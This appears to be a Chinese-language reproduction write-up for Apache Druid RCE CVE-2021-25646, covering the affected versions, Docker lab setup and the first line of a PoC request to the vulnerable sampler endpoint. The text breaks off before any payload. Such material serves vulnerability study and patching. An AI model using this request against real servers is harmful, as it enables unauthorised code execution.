Apache Druid 远程代码执行漏洞 CVE-2021-25646
漏洞描述
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码
漏洞影响
Apache Druid < 0.20.1
环境搭建
这里使用Docker来搭建环境
Docker下载链接: https://github.com/apache/druid/archive/druid-0.20.0.zip
下载之后进入目录 distribution\docker
执行命令编译 docker-compose up -d
访问 http://xxx.xxx.xxx.xxx:8888 正常就行了
漏洞复现
漏洞原理: https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw
POC请求包
POST /druid/indexer/v1/sampler HTTP/1.1
Host